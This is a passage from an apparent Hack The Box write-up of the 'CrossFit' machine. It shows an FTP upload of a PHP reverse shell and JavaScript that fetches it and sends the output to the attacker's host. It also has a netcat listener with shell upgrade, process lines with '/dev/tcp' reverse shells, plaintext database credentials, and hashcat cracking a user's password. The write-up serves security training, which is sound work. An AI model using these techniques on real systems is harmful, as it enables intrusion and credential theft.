tp.crossfit.htb/accounts/85/edit%22%3EEdit%3C/a%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cinput%20type=%22hidden%22%20name=%22_token%22%20value=%22EnEv1a4N27y3dqOO8UpAiGqpr3WuAbAUyoJ5D8at%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cinput%20type=%22hidden%22%20name=%22_method%22%20value=%22DELETE%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cbutton%20type=%22submit%22%20class=%22btn%20btn-danger%22%3EDelete%3C/button%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/form%3E%20%20%20%20%20%20%20%20%20%20%20%20%3C/td%3E%20%20%20%20%20%20%20%20%3C/tr%3E%20%20%20%20%20%20%20%20%20%20%20%20%3C/table%3E%20%20%20%20%3C/div%3E%3C/body%3E%3C/html%3E HTTP/1.1" 404 -
Got a response on my HTTP server with the parameters I was sending to the server, then again with HTML code of the response. I hoped that it included some kind of way to tell if I had been successful at creating a user.
I went through a few iterations as you can see...at one point I thought that maybe my request was getting rejected because of too simple of a password so I upgraded it. It may or may not have been a typo I found in my script, but I left it anyway just in case.
<!DOCTYPE html>
<html>
<head>
<title>FTP Hosting - Account Management</title>
<link href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha/css/bootstrap.css" rel="stylesheet">
</head>
<body>
<br>
<div class="container">
<div class="row">
<div class="col-lg-12 margin-tb">
<div class="pull-left">
<h2>FTP Hosting - Account Management</h2>
</div>
<div class="pull-right">
<a class="btn btn-success" href="http://ftp.crossfit.htb/accounts/create"> Create New Account</a>
</div>
</div>
</div>
<div class="alert alert-success">
<p>Account created successfully.</p>
</div>
<table class="table table-bordered">
<tr>
<th>No</th>
<th>Username</th>
<th>Creation Date</th>
<th width="280px">Action</th>
</tr>
<tr>
<td>1</td>
<td>test3</td>
<td>2021-01-15 02:01:55</td>
<td>
<form action="http://ftp.crossfit.htb/accounts/85" method="POST">
<a class="btn btn-info" href="http://ftp.crossfit.htb/accounts/85">Show</a>
<a class="btn btn-primary" href="http://ftp.crossfit.htb/accounts/85/edit">Edit</a>
<input type="hidden" name="_token" value="EnEv1a4N27y3dqOO8UpAiGqpr3WuAbAUyoJ5D8at">
<input type="hidden" name="_method" value="DELETE">
<button type="submit" class="btn btn-danger">Delete</button>
</form>
</td>
</tr>
</table>
</div>
</body>
</html>
I decoded the HTML response, then saved it to a file.
After recreating the webpage from the response, I could see that my account was created successfully! Next I tried to log into the server using FTP.

Port 21 - Revisited (using LFTP)

┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ ftp crossfit.htb
Connected to crossfit.htb.
220 Cross Fit Ltd. FTP Server
Name (crossfit.htb:zweilos): test3
530 Non-anonymous sessions must use encryption.
Login failed.
421 Service not available, remote server has closed connection
I tried logging in with FTP, but got an error 530 Non-anonymous sessions must use encryption.
$ lftp
lftp :~> set ftp:ssl-force true
lftp :~> connect ftp.domain.tld
lftp ftp.domain.tld:~> login <username>
NOTE: If the server is making use of self signed certificates you may need to add this set as well:
lftp :~> set ssl:verify-certificate no
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ lftp 1 ⨯
lftp :~> set ftp:ssl-force true
lftp :~> connect ftp.crossfit.htb
lftp ftp.crossfit.htb:~> login test3
Password:
ls: Fatal error: Certificate verification: Not trusted (25:EC:D2:FE:6C:9D:77:04:EC:7D:D7:92:87:67:4B:C3:8D:0E:CB:CE)
lftp [email protected]:~> set ssl:verify-certificate no
lftp [email protected]:~> login test3
Password:
drwxrwxr-x 2 33 1002 4096 Jan 15 21:45 development-test
drwxr-xr-x 13 0 0 4096 May 07 2020 ftp
drwxr-xr-x 9 0 0 4096 May 12 2020 gym-club
drwxr-xr-x 2 0 0 4096 May 01 2020 html
Success! I was able to log into FTP with the user I had created. I immediately found four folders.
lftp [email protected]:/> ls development-test/
lftp [email protected]:/> ls ftp
-rw-r--r-- 1 0 0 35856 May 01 2020 CHANGELOG.md
-rw-r--r-- 1 0 0 61 May 01 2020 CREDITS
-rw-r--r-- 1 0 0 4497 May 01 2020 README.md
drwxr-xr-x 6 0 0 4096 May 02 2020 app
-rwxr-xr-x 1 0 0 1686 May 01 2020 artisan
drwxr-xr-x 3 0 0 4096 May 01 2020 bootstrap
-rw-r--r-- 1 0 0 1586 May 01 2020 composer.json
-rw-r--r-- 1 0 0 207564 May 01 2020 composer.lock
drwxr-xr-x 2 0 0 4096 May 02 2020 config
drwxr-xr-x 5 0 0 4096 May 01 2020 database
-rw-r--r-- 1 0 0 1034 May 01 2020 package.json
-rw-r--r-- 1 0 0 1197 May 01 2020 phpunit.xml
drwxr-xr-x 2 0 0 4096 May 01 2020 public
drwxr-xr-x 6 0 0 4096 May 01 2020 resources
drwxr-xr-x 2 0 0 4096 May 01 2020 routes
-rw-r--r-- 1 0 0 563 May 01 2020 server.php
drwxr-xr-x 5 33 0 4096 May 01 2020 storage
drwxr-xr-x 4 0 0 4096 May 01 2020 tests
drwxr-xr-x 44 0 0 4096 May 01 2020 vendor
-rw-r--r-- 1 0 0 538 May 01 2020 webpack.mix.js
lftp [email protected]:/> ls gym-club/
-rwxr-xr-x 1 0 0 21768 May 04 2020 about-us.php
-rwxr-xr-x 1 0 0 23490 May 04 2020 blog-single.php
-rwxr-xr-x 1 0 0 15024 May 04 2020 blog.php
-rwxr-xr-x 1 0 0 13871 May 11 2020 contact.php
drwxr-xr-x 2 0 0 4096 May 04 2020 css
-rw-r--r-- 1 0 0 151 May 04 2020 db.php
drwxr-xr-x 5 0 0 4096 May 04 2020 fonts
-rw-r--r-- 1 0 0 3670 May 04 2020 functions.php
-rwxr-xr-x 1 0 0 16800 May 04 2020 gallery.php
drwxr-xr-x 3 0 0 4096 May 04 2020 images
drwxr-xr-x 9 0 0 4096 Apr 30 2020 img
-rwxr-xr-x 1 0 0 36336 May 04 2020 index.php
-rwxr-xr-x 1 0 0 9000 May 12 2020 jointheclub.php
drwxr-xr-x 2 0 0 4096 May 04 2020 js
-rw-r--r-- 1 0 0 931 May 04 2020 main.html
-rw-r--r-- 1 0 0 410 May 04 2020 readme.txt
-rwxr-xr-x 1 0 0 23878 May 04 2020 schedule.php
drwxr-xr-x 2 0 0 4096 Sep 02 2020 security_threat
drwxr-xr-x 8 0 0 4096 May 04 2020 vendor
lftp [email protected]:/> ls html
-rw-r--r-- 1 0 0 10701 Apr 30 2020 index.html
Unfortunately the most interesting sounding folder development-test/ was empty.
lftp [email protected]:/> get gym-club/db.php > gym-db.php
151 bytes transferred
lftp [email protected]:/> cd database
cd: Login failed: 530 Login incorrect.
lftp [email protected]:/> login test3
Password:
Annoyingly, the server seemed to delete my user account after a few minutes. I had to recreate it and log in again each time during my enumeration.
<?php
$dbhost = "localhost";
$dbuser = "crossfit";
$dbpass = "oeLoo~y2baeni";
$db = "crossfit";
$conn = new mysqli($dbhost, $dbuser, $dbpass, $db);
?>
In the /gym-club directory there was a file db.php. The password I found here unfortunately did not work with the username crossfit for either SSH or FTP.
lftp [email protected]:/> ls ftp/database
drwxr-xr-x 2 0 0 4096 May 01 2020 factories
drwxr-xr-x 2 0 0 4096 May 02 2020 migrations
drwxr-xr-x 2 0 0 4096 May 01 2020 seeds
lftp [email protected]:/> ls ftp/database/factories/
-rw-r--r-- 1 0 0 876 May 01 2020 UserFactory.php
lftp [email protected]:/> get ftp/database/factories/UserFactory.php 876 bytes transferred in 1 second (876 B/s)
In the ftp/database/factories/ folder there was a file called UserFactory.php.
<?php
/** @var \Illuminate\Database\Eloquent\Factory $factory */
use App\User;
use Faker\Generator as Faker;
use Illuminate\Support\Str;
/*
|--------------------------------------------------------------------------
| Model Factories
|--------------------------------------------------------------------------
|
| This directory should contain each of the model factory definitions for
| your application. Factories provide a convenient way to generate new
| model instances for testing / seeding your application's database.
|
*/
$factory->define(User::class, function (Faker $faker) {
return [
'name' => $faker->name,
'email' => $faker->unique()->safeEmail,
'email_verified_at' => now(),
'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', // password
'remember_token' => Str::random(10),
];
});
This file contained a password hash, which I loaded into hashcat. It cracked almost instantly to reveal ... 'password'. This was most likely a placeholder.
drwxrwxr-x 2 33 1002 4096 Jan 15 21:45 development-test
drwxr-xr-x 13 0 0 4096 May 07 2020 ftp
drwxr-xr-x 9 0 0 4096 May 12 2020 gym-club
drwxr-xr-x 2 0 0 4096 May 01 2020 html
While I was looking at the four main folders' permissions, I realized that the permissions for /development-test allowed for writing to the directory.
drwxrwxr-x 2 33 1002 4096 Jan 15 21:45 development-test
drwxr-xr-x 13 0 0 4096 May 07 2020 ftp
drwxr-xr-x 9 0 0 4096 May 12 2020 gym-club
drwxr-xr-x 2 0 0 4096 May 01 2020 html
lftp [email protected]:/> cd dev
cd: Access failed: 550 Failed to change directory. (/dev)
lftp [email protected]:/> cd development-test/
lftp [email protected]:/development-test> put ~/php-reverse-shell.php
5495 bytes transferred
```
Using the FTP command PUT I was able to upload files. I used this to upload a PHP backdoor that would send me a reverse shell when executed.
//get and run reverse shell
//
var test = "http://development-test.crossfit.htb/php-reverse-shell.php";
var request1 = new XMLHttpRequest();
request1.open('GET', test, false);
request1.send()
var response1 = request1.responseText;
//send response1 to my waiting python http.server
var request2 = new XMLHttpRequest();
request2.open('GET', 'http://10.10.14.161:8090/' + response1, true);
request2.send()
I once again modified my original JavaScript exploit from earlier, this time simply requesting access to my PHP backdoor. I hoped that this would execute the code within and send me a reverse shell. On this one I took a logical leap. I assumed that since each of the other folders was running a virtually hosted web domain that development-test would be the same (even though there was currently no web page hosted there).
10.10.10.208 - - [15/Jan/2021 22:36:59] "GET /test4.js HTTP/1.1" 200 -
I received a connection request for my JavaScript code, and Burp, which I had used to send the request, showed that the server was stuck while trying to send me a response. This was good sign as this tends to happen when sending a reverse shell this way.

Initial Foothold

┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ script initial-foothold 1 ⨯
Script started, output log file is 'initial-foothold'.
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ bash
[email protected]:~/htb/crossfit$ nc -lvnp 8091
listening on [any] 8091 ...
connect to [10.10.14.161] from (UNKNOWN) [10.10.10.208] 60548
Linux crossfit 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
22:51:04 up 2 days, 9:01, 0 users, load average: 1.78, 2.11, 2.04
USER TTY FROM [email protected] IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
[1]+ Stopped nc -lvnp 8091
[email protected]:~/htb/crossfit$ stty size
54 104
[email protected]:~/htb/crossfit$ stty raw -echo
nc -lvnp 8091aa:~/htb/crossfit$
[email protected]:/$ stty rows 54 columns 104
[email protected]:/$ export TERM=xterm-256color
After a little bit of waiting, I got a shell back on my waiting netcat listener! The first thing I did was upgrade to a full PTY using Python.
Before starting my netcat listener I did some setup. First I ran the script command to log all of my commands and output, and I also used bash because zsh has a problem (at least on my system, not sure if it is a confirmed bug) where backgrounding the connection and setting stty raw -echo breaks the shell in a way that I cannot use enter or control key commands. If anyone has any feedback on this I would appreciate it!

Enumeration as www-data

[email protected]:/run$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
www-data 6266 0.0 0.0 10748 1204 pts/3 R+ 22:56 0:00 ps aux
www-data 15839 0.0 0.2 17056 8284 ? S 22:52 0:00 python3 -c import pty;pty.spawn("/bin/b
www-data 15866 0.0 0.0 7192 3476 pts/3 Ss 22:52 0:00 /bin/bash
www-data 17149 0.0 0.1 12216 7044 ? S 17:35 0:00 python -c import pty;pty.spawn("/bin/ba
www-data 17200 0.0 0.0 3868 3216 pts/2 Ss+ 17:35 0:00 /bin/bash
www-data 20099 0.0 0.0 2388 696 ? S 22:51 0:00 sh -c uname -a; w; id; /bin/sh -i
www-data 20109 0.0 0.0 2388 760 ? S 22:51 0:00 /bin/sh -i
www-data 21211 0.0 0.0 2388 760 ? S Mar20 0:00 sh -c bash -c 'bash -i >& /dev/tcp/10.1
www-data 21212 0.0 0.0 3736 2800 ? S Mar20 0:00 bash -c bash -i >& /dev/tcp/10.10.14.24
www-data 21213 0.0 0.0 3868 3244 ? S Mar20 0:00 bash -i
www-data 21225 0.0 0.2 17056 8256 ? S Mar20 0:00 python3 -c import pty;pty.spawn("/bin/b
www-data 21226 0.0 0.0 7060 3464 pts/0 Ss+ Mar20 0:00 /bin/bash
www-data 32120 0.0 0.0 2388 752 ? S 17:35 0:00 sh -c bash -c 'bash -i >& /dev/tcp/10.1
www-data 32126 0.0 0.0 3736 2908 ? S 17:35 0:00 bash -c bash -i >& /dev/tcp/10.10.14.22
www-data 32128 0.0 0.0 3868 3220 ? S 17:35 0:00 bash -i
Hmm...ps showed that this was a busy machine... It looked like I had company (only one of those shells is mine!).
[email protected]:/run$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
isaac:x:1000:1000:,,,:/home/isaac:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:107:114:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:108:116:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
vsftpd:x:1002:1002::/var/vsftpd:/bin/false
Debian-exim:x:109:117::/var/spool/exim4:/usr/sbin/nologin
ftpadm:x:1003:1004::/srv/ftp:/usr/sbin/nologin
hank:x:1004:1006::/home/hank:/bin/bash
I inspected /etc/passwd for local user accounts and found that root, isaac, and hank could login with a shell. These were my most likely targets.
[email protected]:/home$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Sep 21 04:00 .
drwxr-xr-x 18 root root 4096 Sep 2 2020 ..
drwxr-xr-x 6 hank hank 4096 Mar 20 17:24 hank
drwxr-xr-x 8 isaac isaac 4096 Mar 21 07:19 isaac
In the /home directory there were only two user folders: hank and isaac.
[email protected]:/home$ ls -la hank
total 40
drwxr-xr-x 6 hank hank 4096 Mar 20 17:24 .
drwxr-xr-x 4 root root 4096 Sep 21 04:00 ..
lrwxrwxrwx 1 root root 9 May 12 2020 .bash_history -> /dev/null
-rw-r--r-- 1 hank hank 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 hank hank 3526 Apr 18 2019 .bashrc
drwx------ 4 hank hank 4096 Sep 21 03:56 .cache
drwx------ 4 hank hank 4096 Sep 2 2020 .gnupg
drwxr-xr-x 3 hank hank 4096 Sep 21 03:55 .local
drwx------ 4 hank hank 4096 Sep 21 03:56 .mozilla
lrwxrwxrwx 1 root root 9 May 13 2020 .mysql_history -> /dev/null
-rw-r--r-- 1 hank hank 807 Apr 18 2019 .profile
-rw-r--r-- 1 hank hank 0 Mar 20 17:24 V
-r--r----- 1 root hank 33 Mar 19 13:50 user.txt
[email protected]:/home$ ls -la isaac
total 76
drwxr-xr-x 8 isaac isaac 4096 Mar 21 07:19 .
drwxr-xr-x 4 root root 4096 Sep 21 04:00 ..
lrwxrwxrwx 1 root root 9 May 12 2020 .bash_history -> /dev/null
-rw-r--r-- 1 isaac isaac 220 Apr 27 2020 .bash_logout
-rw-r--r-- 1 isaac isaac 3526 Apr 27 2020 .bashrc
drwx------ 5 isaac isaac 4096 May 4 2020 .cache
drwxr-xr-x 4 isaac isaac 4096 May 11 2020 .config
drwx------ 3 isaac isaac 4096 Apr 28 2020 .gnupg
-rw------- 1 isaac isaac 52 Mar 20 18:21 .lesshst
drwxr-xr-x 3 isaac isaac 4096 May 4 2020 .local
lrwxrwxrwx 1 isaac isaac 9 May 4 2020 .mysql_history -> /dev/null
-rw-r--r-- 1 isaac isaac 807 Apr 27 2020 .profile
lrwxrwxrwx 1 root root 9 May 12 2020 .python_history -> /dev/null
-rw-r--r-- 1 isaac isaac 74 May 5 2020 .selected_editor
drwx------ 3 isaac isaac 4096 Mar 21 06:59 .ssh
-rwxrwxrwx 1 isaac isaac 0 Mar 20 22:26 1
-rwxrwxrwx 1 isaac isaac 16744 Mar 21 07:03 exploit
-rwxrwxrwx 1 isaac isaac 367 Mar 21 07:07 root.sh
drwxrwxrwx 4 isaac admins 4096 May 9 2020 send_updates
I saw that hank had user.txt in his home folder, so now I knew I needed to move laterally to that user to get it.
TODO: insert output of search for hank in files (I may have deleted this since because of too many files?)
[email protected]:/etc/ansible/playbooks$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Sep 21 06:20 .
drwxr-xr-x 3 root root 4096 May 8 2020 ..
-rw-r--r-- 1 root root 425 Sep 2 2020 adduser_hank.yml
[email protected]:/etc/ansible/playbooks$ cat adduser_hank.yml
---
- name: Add new user to all systems
connection: network_cli
gather_facts: false
hosts: all
tasks:
- name: Add the user 'hank' with default password and make it a member of the 'admins' group
user:
name: hank
shell: /bin/bash
password: $6$e20D6nUeTJOIyRio$A777Jj8tk5.sfACzLuIqqfZOCsKTVCfNEQIbH79nZf09mM.Iov/pzDCE8xNZZCM9MuHKMcjqNUd8QUEzC1CZG/
groups: admins
append: yes
After searching for files that had mentioned the user hank, I found adduser-hank.yml in the/etc/ansible/playbooks directory. This file had a password hash in it that I copied to my machine for cracking.
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ hashcat --help | grep -i '$6'
1800 | sha512crypt $6$, SHA512 (Unix) | Operating System
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ hashcat -O -D1,2 -a0 -m1800 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
Hashfile 'hash' on line 1 ($2y$10...e4oKoEa3Ro9llC/.og/at2.uheWG/igi): Token length exception
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Single-Hash
* Single-Salt
* Uses-64-Bit
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 65 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$6$e20D6nUeTJOIyRio$A777Jj8tk5.sfACzLuIqqfZOCsKTVCfNEQIbH79nZf09mM.Iov/pzDCE8xNZZCM9MuHKMcjqNUd8QUEzC1CZG/:powerpuffgirls
Session..........: hashcat
Status...........: Cracked
Hash.Name........: sha512crypt $6$, SHA512 (Unix)
Hash.Target......: $6$e20D6nUeTJOIyRio$A777Jj8tk5.sfACzLuIqqfZOCsKTVCf...C1CZG/
Time.Started.....: Fri Jan 15 23:09:52 2021 (9 secs)
Time.Estimated...: Fri Jan 15 23:10:01 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2873 H/s (8.31ms) @ Accel:64 Loops:512 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests
Progress.........: 23818/14344385 (0.17%)
Rejected.........: 10/23818 (0.04%)
Restore.Point....: 23562/14344385 (0.16%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4608-5000
Candidates.#1....: skorpion -> 211291
Started: Fri Jan 15 23:09:29 2021
Stopped: Fri Jan 15 23:10:02 2021
Password hashes with $6 at the beginning are most likely Unix sha512crypt encrypted. I used this information to quickly crack the hash using hashcat. It revealed the password to be powerpuffgirls.

User.txt

┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ ssh [email protected] 1 ⨯
The authenticity of host '10.10.10.208 (10.10.10.208)' can't be established.
ECDSA key fingerprint is SHA256:tUOAuaaEof1kTFd4m9xiLiHk2k/pKSRnwhASRLb89Bo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.10.10.208' (ECDSA) to the list of known hosts.
[email protected]'s password:
Linux crossfit 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.